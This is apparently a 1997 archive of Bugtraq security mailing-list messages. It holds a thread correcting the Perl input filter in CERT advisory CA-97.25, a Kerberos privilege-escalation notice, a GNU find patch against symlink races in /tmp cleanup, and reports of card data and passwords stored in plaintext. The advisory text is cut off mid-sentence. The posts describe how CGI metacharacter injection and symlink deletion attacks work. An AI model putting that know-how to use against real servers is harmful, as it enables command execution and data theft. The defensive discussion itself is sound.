Mail List ПP ─ ╨ Return-Path: <[email protected]>
Delivered-To: [email protected]
From: Andrew McNaughton <[email protected]>
Subject: Re: CERT Advisory CA-97.25 - CGI_metachar
X-To: [email protected]
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
>Building on this philosophy, the Perl program we presented above could be
>thus sanitized to contain ONLY those characters allowed. For example:
>
> #!/usr/cert/bin/perl
> $_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
> print "$user_data\n";
> $OK_CHARS='a-zA-Z0-9_\-\.@'; # A restrictive list, which
> # should be modified to match
> # an appropriate RFC, for example.
> eval "tr/[$OK_CHARS]/_/c";
> $user_data = $_;
> print "$user_data\n";
> exit(0);
>
OK, lets test that. Add a few lines like so...
#!/usr/cert/bin/perl
for (0..255) {
$ENV{'QUERY_STRING'} .=chr($_);
}
$_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
#print "$user_data\n";
$OK_CHARS='a-zA-Z0-9_\-\.@'; # A restrictive list, which
# should be modified to match
# an appropriate RFC, for example.
eval "tr/[$OK_CHARS]/_/c";
s/_//g;
$user_data = $_;
print "$user_data\n";
exit(0);
prints:
-.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz
Those square brackets look unintended and possibly useful
Andrew McNaughton
The effort to understand the universe is Andrew McNaughton
one of the very few things that lifts [email protected]
human life above the level of farce,
and gives it some of the grace http://www.squiz.co.nz
of tragedy - Steven Weinberg http://www.newsroom.co.nz
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 5821 invoked from network); 12 Nov 1997 05:31:40 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 05:31:40 -0000
Received: by scylla.sovam.com id AA08972
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 07:04:20 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA08969
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 07:04:05 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id JAA18144
for <[email protected]>; Wed, 12 Nov 1997 09:02:54 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id OAA20864;
Wed, 12 Nov 1997 14:48:08 +1100 (EST)
Resent-Date: Wed, 12 Nov 1997 14:48:08 +1100 (EST)
Old-X-Envelope-From: [email protected] Mon Nov 3 12:19:27 1997
Message-Id: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Date: Mon, 03 Nov 1997 02:18:49 +0100
From: Artur Grabowski <[email protected]>
Sender: [email protected]
Old-Status: O
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Artur Grabowski <[email protected]>
Resent-Message-Id: <"2enAn.A.ra.XaNa0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: Major security-hole in kerberos rsh, rcp and rlogin.
Status:
X-PMFLAGS: 34078848 0
There has been discovered a security-hole in kerberized rsh, rcp and rlogin.
Everyone who has setuid-bits set on these applications is adviced to disable
them.
The hole allows any user on the system to gain privilegies of any other user
including root.
The hole has been successfully tested on kth-kerberos, but is suspected to
exist on any other versions of kerberos.
//Artur Grabowski (administrator on stacken.kth.se)
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 1710 invoked from network); 12 Nov 1997 01:01:37 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 01:01:37 -0000
Received: by scylla.sovam.com id AA19121
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 11 Nov 1997 22:35:09 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA18902
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 11 Nov 1997 22:32:37 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id AAA04269
for <[email protected]>; Wed, 12 Nov 1997 00:31:05 +0500 (ES)
Received: from [email protected] (port 58972 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97440-10010>; Tue, 11 Nov 1997 13:32:35 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5552480 for [email protected]; Tue, 11 Nov 1997 13:30:59
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
NAA18697 for <[email protected]>; Tue, 11 Nov 1997 13:30:17 -0500
Received: from [email protected] (port 58972 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <97202-10010>; Tue, 11 Nov 1997
13:29:22 -0500
Approved-By: [email protected]
Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu
[128.255.17.47]) by netspace.org (8.8.7/8.8.2) with ESMTP id MAA12760
for <[email protected]>; Tue, 11 Nov 1997 12:52:11 -0500
Received: from server01.icaen.uiowa.edu ([email protected]
[128.255.17.41]) by server07.icaen.uiowa.edu (8.8.6/8.7.1) with ESMTP
id LAA03809 for <[email protected]>; Tue, 11 Nov 1997 11:52:10
-0600 (CST)
Received: from l-ecn069.icaen.uiowa.edu ([email protected]
[128.255.17.189]) by server01.icaen.uiowa.edu (8.7.5/8.7.1) with
ESMTP id LAA20689; Tue, 11 Nov 1997 11:52:08 -0600 (CST)
Received: (from dsiebert@localhost) by l-ecn069.icaen.uiowa.edu
(8.7.6/client-6.1) id LAA07171; Tue, 11 Nov 1997 11:52:07 -0600 (CST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Tue, 11 Nov 1997 11:52:06 -0600
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
From: [email protected]
Organization: Iowa Computer Aided Engineering Network, University of Iowa
Subject: Safe /tmp cleanup
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
There was a thread in Bugtraq a couple months ago about safe cleanup of
/tmp and other publicly-writable directories. The problem is with the
traditional cleanup along the lines of:
find /tmp -someoptions -print | xargs rm -moreoptions
An attacker can create conditions using deep directories and symbolic
links that will cause this command to delete any arbitrary file on the
filesystem. See the archives for more info.
This started a long discussion, and only two good solutions were proposed
to my recollection. One, someone had a Perl script named "saferm" which
did an insane amount of sanity checking to verify the path was correct.
Two, it was proposed that the find command itself should handle this.
The Perl script is quite slow and overly complex, I wanted a better
solution. I took a look at the GNU archive to see if they had a find
command which might already have such an option. They had a find command
which hasn't been updated for about three years, which had no such option.
But the source is very easy to read and modify so it was a simple matter
to add a "-delete" option myself. I also noticed and fixed a bug that
caused incorrect results when using the "-depth" option in some cases
(those of you with Linux boxes, which use the GNU find, can try: "find /var
-depth -empty" and you'll see what I mean) This was important to do since
you need the -depth option to work for -delete to really work (-delete
implies -depth in my code)
I also went to some trouble to insure that there were no race conditions
when changing directories, by using fchdir() everywhere I could and sanity
checking that the directory you went into was what you thought it was where
I couldn't use fchdir(). Its been said before, but open() _really_ needs
an option to tell it to not follow symbolic links (and if it had been done
right at the start, nothing would default to following symbolic links,
you'd have to specifically indicate this if you wanted it!)
Here are the diffs against GNU find 4.1. I did not update the man pages or
documentation for this change, if someone wants to submit this change to the
FSF for a GNU find 4.1.1 that will need to be done. I have not extensively
tested this yet, but it seems to work fine. If anyone notices any problems
(in the stuff I've coded, not the rest of it!) please let me know. I'm
posting it here hoping anything I've overlooked will be noticed by the
Bugtraq readership, so we can put this problem behind us for once and for
all.
*** defs.h.orig Wed Nov 2 14:59:15 1994
--- defs.h Thu Nov 6 09:24:59 1997
***************
*** 249,254 ****
--- 249,255 ----
boolean pred_cnewer P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
boolean pred_comma P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
boolean pred_ctime P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
+ boolean pred_delete P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
boolean pred_empty P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
boolean pred_exec P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
boolean pred_false P_((char *pathname, struct stat *stat_buf, struct predicate *pred_ptr));
*** find.c.orig Wed Oct 12 16:21:11 1994
--- find.c Thu Nov 6 10:15:44 1997
***************
*** 105,111 ****
boolean have_stat;
/* The file being operated on, relative to the current directory.
! Used for stat, readlink, and opendir. */
char *rel_pathname;
/* Length of current path. */
--- 105,111 ----
boolean have_stat;
/* The file being operated on, relative to the current directory.
! Used for stat, readlink, remove, and opendir. */
char *rel_pathname;
/* Length of current path. */
***************
*** 332,337 ****
--- 332,339 ----
struct stat stat_buf;
static dev_t root_dev; /* Device ID of current argument pathname. */
int i;
+ struct stat dir_buf;
+ int parent_desc;
/* Assume it is a non-directory initially. */
stat_buf.st_mode = 0;
***************
*** 390,398 ****
apply_predicate (pathname, &stat_buf, eval_tree);
if (stop_at_current_level == false)
! /* Scan directory on disk. */
! process_dir (pathname, name, strlen (pathname), &stat_buf, parent);
if (do_dir_first == false && curdepth >= mindepth)
apply_predicate (pathname, &stat_buf, eval_tree);
--- 392,440 ----
apply_predicate (pathname, &stat_buf, eval_tree);
if (stop_at_current_level == false)
! {
! parent_desc = open (".", O_RDONLY);
! if (parent_desc < 0)
! error (1, errno, "%s", pathname);
+ if (chdir (name) < 0)
+ {
+ error (0, errno, "%s", pathname);
+ exit_status = 1;
+ close(parent_desc);
+ return;
+ }
+
+ if ((*xstat) (".", &dir_buf) < 0)
+ error (1, errno, "%s", pathname);
+
+ if (!S_ISDIR (dir_buf.st_mode) || dir_buf.st_ino != stat_buf.st_ino ||
+ dir_buf.st_dev != stat_buf.st_dev)
+ error (1, 0, "Link changed: %s", pathname);
+
+ /* Scan directory on disk. */
+ process_dir (pathname, ".", strlen (pathname), &stat_buf, pathname);
+
+ #ifndef HAVE_FCHDIR
+ if (!dereference)
+ {
+ if (chdir ("..") < 0)
+ error (1, errno, "%s", parent);
+ }
+ else
+ {
+ if (chdir (starting_dir) || chdir (parent))
+ error (1, errno, "%s", parent);
+ }
+ #else
+ if (fchdir (parent_desc) < 0)
+ error (1, errno, "%s", parent);
+ #endif
+ close (parent_desc);
+ }
+
+ rel_pathname = name;
+
if (do_dir_first == false && curdepth >= mindepth)
apply_predicate (pathname, &stat_buf, eval_tree);
***************
*** 454,466 ****
cur_path_size = 0;
cur_path = NULL;
- if (strcmp (name, ".") && chdir (name) < 0)
- {
- error (0, errno, "%s", pathname);
- exit_status = 1;
- return;
- }
-
for (namep = name_space; *namep; namep += file_len - pathname_len + 1)
{
/* Append this directory entry's name to the path being searched. */
--- 496,501 ----
***************
*** 495,521 ****
mounted, which don't have Unix-like directory link counts. */
process_path (cur_path, cur_name, false, pathname);
curdepth--;
- }
-
- if (strcmp (name, "."))
- {
- if (!dereference)
- {
- if (chdir ("..") < 0)
- /* We could go back and do the next command-line arg instead,
- maybe using longjmp. */
- error (1, errno, "%s", parent);
- }
- else
- {
- #ifndef HAVE_FCHDIR
- if (chdir (starting_dir) || chdir (parent))
- error (1, errno, "%s", parent);
- #else
- if (fchdir (starting_desc) || chdir (parent))
- error (1, errno, "%s", parent);
- #endif
- }
}
if (cur_path)
--- 530,535 ----
*** parser.c.orig Wed Nov 2 14:59:19 1994
--- parser.c Thu Nov 6 09:30:36 1997
***************
*** 78,83 ****
--- 78,84 ----
static boolean parse_comma P_((char *argv[], int *arg_ptr));
static boolean parse_ctime P_((char *argv[], int *arg_ptr));
static boolean parse_daystart P_((char *argv[], int *arg_ptr));
+ static boolean parse_delete P_((char *argv[], int *arg_ptr));
static boolean parse_depth P_((char *argv[], int *arg_ptr));
static boolean parse_empty P_((char *argv[], int *arg_ptr));
static boolean parse_exec P_((char *argv[], int *arg_ptr));
***************
*** 176,181 ****
--- 177,183 ----
#endif
{"ctime", parse_ctime},
{"daystart", parse_daystart}, /* GNU */
+ {"delete", parse_delete},
{"depth", parse_depth},
{"empty", parse_empty}, /* GNU */
{"exec", parse_exec},
***************
*** 427,432 ****
--- 429,448 ----
}
static boolean
+ parse_delete (argv, arg_ptr)
+ char *argv[];
+ int *arg_ptr;
+ {
+ struct predicate *our_pred;
+
+ our_pred = insert_primary (pred_delete);
+ our_pred->side_effects = true;
+ /* -delete implies -depth */
+ do_dir_first = false;
+ return (true);
+ }
+
+ static boolean
parse_depth (argv, arg_ptr)
char *argv[];
int *arg_ptr;
***************
*** 611,617 ****
( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2\n");
printf ("\
EXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2\n\
! options (always true): -daystart -depth -follow --help\n\
-maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev\n\
tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N\n");
printf ("\
--- 627,633 ----
( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2\n");
printf ("\
EXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2\n\
! options (always true): -daystart -delete -depth -follow --help\n\
-maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev\n\
tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N\n");
printf ("\
*** pred.c.orig Wed Nov 2 14:59:23 1994
--- pred.c Thu Nov 6 09:28:24 1997
***************
*** 108,113 ****
--- 108,114 ----
{pred_cnewer, "cnewer "},
{pred_comma, ", "},
{pred_ctime, "ctime "},
+ {pred_delete, "delete "},
{pred_empty, "empty "},
{pred_exec, "exec "},
{pred_false, "false "},
***************
*** 376,381 ****
--- 377,393 ----
break;
}
return (false);
+ }
+
+ boolean
+ pred_delete (pathname, stat_buf, pred_ptr)
+ char *pathname;
+ struct stat *stat_buf;
+ struct predicate *pred_ptr;
+ {
+ if (strcmp (rel_pathname, "."))
+ return (remove (rel_pathname));
+ return (true);
}
boolean
--
Douglas Siebert Director of Computing Facilities
[email protected] Division of Mathematical Sciences, U of Iowa
If you let the system beat you long enough, eventually it'll get tired.
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 1707 invoked from network); 12 Nov 1997 01:01:37 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 01:01:37 -0000
Received: by scylla.sovam.com id AA19116
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 11 Nov 1997 22:35:07 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA18908
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 11 Nov 1997 22:33:04 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id AAA04279
for <[email protected]>; Wed, 12 Nov 1997 00:31:44 +0500 (ES)
Received: from [email protected] (port 58972 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97886-10011>; Tue, 11 Nov 1997 13:43:08 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5552429 for [email protected]; Tue, 11 Nov 1997 13:39:55
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
NAA18504 for <[email protected]>; Tue, 11 Nov 1997 13:29:04 -0500
Received: from [email protected] (port 58972 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <97178-10012>; Tue, 11 Nov 1997
13:27:28 -0500
Approved-By: [email protected]
Received: from adtrn-srv1.adtran.com ([206.26.161.245]) by netspace.org
(8.8.7/8.8.2) with SMTP id LAA26310 for <[email protected]>; Tue,
11 Nov 1997 11:09:55 -0500
Received: from crp-201.adtran.com by adtrn-srv1.adtran.com (SMI-8.6/SMI-SVR4)
id KAA16606; Tue, 11 Nov 1997 10:09:48 -0600
Received: from crp-201.adtran.com (localhost [127.0.0.1]) by crp-201.adtran.com
(8.8.5/8.8.5) with ESMTP id LAA01001; Tue, 11 Nov 1997 11:09:38 -0600
Message-Id: <[email protected]>
Date: Tue, 11 Nov 1997 11:09:38 -0600
Reply-To: Greg Bacon <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Greg Bacon <[email protected]>
Subject: Re: CERT Advisory CA-97.25 - CGI_metachar
X-To: [email protected]
To: [email protected]
In-Reply-To: Your message of "Mon, 10 Nov 1997 16:59:08 CST."
<[email protected]>
Status:
X-PMFLAGS: 33554560 0
In message <[email protected]>,
Aleph One quoted:
: #!/usr/cert/bin/perl
: $_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
: print "$user_data\n";
: $OK_CHARS='a-zA-Z0-9_\-\.@'; # A restrictive list, which
: # should be modified to match
: # an appropriate RFC, for example.
: eval "tr/[$OK_CHARS]/_/c";
: $user_data = $_;
: print "$user_data\n";
: exit(0);
This code allows more than what's in $OK_CHARS (or at least what was
intended to be in $OK_CHARS) to pass, namely '\', '[', and ']'.
Misunderstandings by the author of the above:
o The only character a backslash quotes inside single quotes is a
single quote. The code above results in $OK_CHARS containing
characters that weren't intended to be there.
o The transliteration operator (tr///) takes lists of characters as
arguments (think of them like ordered character classes). Square
brackets aren't special in tr///.
o The eval EXPR form can be very slow since what's in EXPR must be
compiled and run like a little program.
Perl has excellent documentation. Each of these points is covered in
the perlop(1) and perlfunc(1) manpages.
Something like this would be better
#! /usr/bin/perl
$_ = $user_data = $ENV{'QUERY_STRING'};
print "$user_data\n";
$OK_CHARS = '-a-zA-Z0-9_.@'; # leading dash is regular
s/[^$OK_CHARS]/_/go; # assumes $OK_CHARS never changes
$user_data = $_;
print "$user_data\n";
Perl also has a feature known as tainting by which data from the outside
world may not be used unexamined in operations that affect the outside
world. These and other security features are outlined in the perlsec(1)
manpage. Good example CGI code (such as Randal's WebTechniques columns)
always enables tainting.
I'm concerned when I see basic misunderstandings and flawed code in a
security advisory.
Greg
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 1746 invoked from network); 12 Nov 1997 01:02:07 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 01:02:07 -0000
Received: by scylla.sovam.com id AA28425
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 02:00:46 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA28294
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 01:57:38 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id DAA15670
for <[email protected]>; Wed, 12 Nov 1997 03:56:19 +0500 (ES)
Received: from [email protected] (port 58972 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97813-10014>; Tue, 11 Nov 1997 17:17:15 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5558007 for [email protected]; Tue, 11 Nov 1997 17:11:21
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
RAA16241 for <[email protected]>; Tue, 11 Nov 1997 17:06:53 -0500
Received: from [email protected] (port 58972 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <226-10012>; Tue, 11 Nov 1997
17:05:00 -0500
Approved-By: [email protected]
Received: from ns.commandcom.com (ns.commandcom.com [38.249.198.66]) by
netspace.org (8.8.7/8.8.2) with SMTP id OAA28152 for
<[email protected]>; Tue, 11 Nov 1997 14:31:36 -0500
Received: from megan.commandcom.com (megan.commandcom.com [38.249.199.83]) by
ns.commandcom.com (NTMail 3.02.13) with ESMTP id na132639 for
<[email protected]>; Tue, 11 Nov 1997 14:29:43 -0500
Received: by localhost with Microsoft MAPI; Tue, 11 Nov 1997 14:32:19 -0500
Illegal-Object: Syntax error in Message-ID: value found on
brimstone.netspace.org: Message-ID:
<01BCEEAE.9D676350@malexander@commandcom.com> ^-illegal end of
message identification
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4008
Encoding: 77 TEXT
X-Info: Command Software Systems, Inc. -- Anti-virus for your computer
Message-Id: <[email protected]>
Date: Tue, 11 Nov 1997 14:32:15 -0500
Reply-To: Megan Alexander <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Megan Alexander <[email protected]>
Subject: Re: Major security flaw in Cybercash 2.1.2
X-To: "[email protected]" <[email protected]>
To: [email protected]
Status:
X-PMFLAGS: 33554560 0
This is also an issue with Verifone vPOS, which ships with the Microsoft
Site Server, partnered as an evaluation version.
Most of these credit card validators have the ability to store items to a
logfile, which is often turned on in debugging and testing and never turned
off by the administrator...
Here are some other interesting things about vPOS and Site Server, for the
e-commerce-minded among us:
1. In addition to the debug log mentioned above, the actual Commerce Server
store also has the ability to write a very lengthy logfile, called
ordinitbf, which can be added into the global.asa of the store, and called
using a scriptor component. Again, not very useful unless an administrator
turns on logging and never turns it off.
Things included in this file include: all shopper info, all address info
(billing and shipping), credit card info, including name, exp, and
number... you get the idea.
2. the vPOS service cannot be started automatically. The encryption string
MUST be typed in at start-up. This sequence cannot be automated. Therefore,
if a server using vPOS is somehow compromised in the middle of the night,
and no administrator is there to restart the service, all transactions will
fail until the next time the administrator restarts the service.
3. In order for vPOS to work with Microsoft Site Server (Commerce Server
2.0), the Commerce Server version 1.0 component wrapper must be used. In
order to trick the v1 component wrapper into thinking that Site Server is
really Merchant Server 1.0, A LOT of registry entries must be made.
Some of these registry entries include the SQL passwords, the NT
administrator login passwords, etc. Fun for the whole family, and
everything in plaintext.
4. The merchant certificates are stored in the SQL database whose passwords
you just typed in plaintext into the registry.
Sigh.
-megan
Megan Alexander: Webmaster, etc.
Command Software Systems
(561)575.3200 x 170
http://www.commandcom.com
-----Original Message-----
From: Tim Scanlon [SMTP:[email protected]]
Sent: Saturday, November 08, 1997 12:35 AM
To: [email protected]Subject: Re: Major security flaw in Cybercash 2.1.2
On Fri, 7 Nov 1997 , Anonymous said:
>In CyberCash's server, when the "DEBUG" flag is on, the contents of
>all credit card transactions are written to a log file (named
>"Debug.log" by default).
>
>The easiest workaround I've found is to simply delete the existing
>Debug.log file. In my experience with the Solaris release, the
>CyberCash software does not create this file at start time when the
>DEBUG flag is set to 0.
>
ln -s Debug.log /dev/null
Works easier than deleting over and over I'd hazard.
Tim
---
________________________________________________________________
[email protected] (NeXTmail, MIME) Tim Scanlon
[email protected] (PGP key by req) crypto is good
Seal Technologies Inc. I own my own words
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 25031 invoked from network); 13 Nov 1997 03:17:02 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 03:17:02 -0000
Received: by scylla.sovam.com id AA27325
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 03:55:43 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA27249
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 03:53:06 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA08490
for <[email protected]>; Thu, 13 Nov 1997 05:52:05 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <69796-14081>; Wed, 12 Nov 1997 16:35:01 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5589432 for [email protected]; Wed, 12 Nov 1997 16:33:37
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
QAA20567 for <[email protected]>; Wed, 12 Nov 1997 16:33:14 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96720-14080>; Wed, 12 Nov 1997
16:33:09 -0500
Approved-By: [email protected]
Received: from dfw.dfw.net (DFW.DFW.NET [198.175.15.10]) by netspace.org
(8.8.7/8.8.2) with SMTP id QAA19982 for <[email protected]>; Wed,
12 Nov 1997 16:30:27 -0500
Received: from localhost by dfw.dfw.net (4.1/SMI-4.1) id AA20455; Wed, 12 Nov
97 15:02:20 CST
X-Received: from coal.cert.org by dfw.dfw.net (4.1/SMI-4.1) id AA08674; Wed, 12
Nov 97 14:01:01 CST
X-Received: (from cert-advisory@localhost) by coal.cert.org (8.6.12/CERT) id
LAA15544 for cert-advisory-queue-40; Wed, 12 Nov 1997 11:54:48 -0500
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 15:02:11 -0600
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Advisory <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Subject: CERT Advisory CA-97.25 - REVISED- Code Correction
To: [email protected]
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Advisory CA-97.25.CGI_metachar
Original issue date: Nov. 10, 1997
Last revised: November 12, 1997
Updated the Appendix to fix coding error.
A complete revision history is at the end of this file.
Topic: Sanitizing User-Supplied Data in CGI Scripts
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports and seen mailing list
discussions of a problem with some CGI scripts, which allow an attacker to
execute arbitrary commands on a WWW server under the effective user-id of the
server process. The problem lies in how the scripts are written, NOT in the
scripting languages themselves.
The CERT/CC team urges you to check all CGI scripts that are available via the
World Wide Web services at your site and ensure that they sanitize
user-supplied data. We have written a tech tip on how to do this (see Section
III).
We will update the tech tip (rather than this advisory) if we receive
additional information.
- -----------------------------------------------------------------------------
I. Description
Some CGI scripts have a problem that allows an attacker to execute
arbitrary commands on a WWW server under the effective user-id of the
server process. The cause of the problem is not the CGI scripting
language (such as Perl and C). Rather, the problem lies in how an
individual writes his or her script. In many cases, the author of the
script has not sufficiently sanitized user-supplied input.
II. Impact
If user-supplied data is not sufficiently sanitized, local and remote
users may be able to execute arbitrary commands on the HTTP server with
the privileges of the httpd daemon. They may then be able to compromise
the HTTP server and under certain configurations gain privileged access.
III. Solution
We strongly encourage you to review all CGI scripts that are available
via WWW services at your site. You should ensure that these scripts
sufficiently sanitize user-supplied data.
We recommend carrying out this review on a regular basis and whenever new
scripts are made available.
For advice about what to look for and how to address the problem,
see our tech tip on meta-characters in CGI scripts, available from
ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
We have placed a revised version of this tech tip (dated
November 12, 1997) in the appendix of this advisory for your
convenience. Any future updates will be made to the tech tip,
so please check the electronic version for the most current
information.
If you believe that a script does not sufficiently sanitize
user-supplied data then we encourage you to disable the script and
consult the script author for a patch.
If the script author is unable to supply a patched version, sites with
sufficient expertise may wish to patch the script themselves, adapting
the material in our tech tip to meet whatever specification is required
(such as the appropriate RFC).
(NOTE: We cannot offer any further assistance on source code patching
than that given in the tech tip mentioned above.)
.............................................................................
Appendix - Tech Tip on CGI Metacharacters (version 1.2, Nov. 12, 1997)
The tech tip below may be updated in the future. For the most current version,
see ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
How To Remove Meta-characters From User-Supplied Data In CGI Scripts
1. Definition of the Problem
We have noticed several reports to us and to public mailing lists about CGI
scripts that allow an attacker to execute arbitrary commands on a WWW
server under the effective user-id of the server process.
In many of these cases, the author of the script has not sufficiently
sanitized user-supplied input.
2. Definition of "Sanitize"
Consider an example where a CGI script accepts user-supplied data. In
practice, this data may come from any number of sources of user-supplied
data; but for this example, we will say that the data is taken from an
environment variable $QUERY_STRING. The manner in which data was inserted
into the variable is not important - the important point here is that the
programmer needs to gain control over the contents of the data in
$QUERY_STRING before further processing can occur. The act of gaining this
control is called "sanitizing" the data.
3. A Common But Inadvisable Approach
A script writer who is aware of the need to sanitize data may decide to
remove a number of well-known meta-characters from the script and replace
them with underscores. A common but inadvisable way to do this is by
removing particular characters.
For instance, in Perl:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Remove bad characters. WRONG!
print "$user_data\n";
exit(0);
In C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char bad_chars[] = "/ ;[]<>&\t";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
/* Get the data */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
/* Remove bad characters. WRONG! */
for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
In this method, the programmer determines which characters should NOT be
present in the user-supplied data and removes them. The problem with this
approach is that it requires the programmer to predict all possible inputs.
If the user uses input not predicted by the programmer, then there is the
possibility that the script may be used in a manner not intended by the
programmer.
4. A Recommended Approach
A better approach is to define a list of acceptable characters and replace any
character that is NOT acceptable with an underscore. The list of valid input
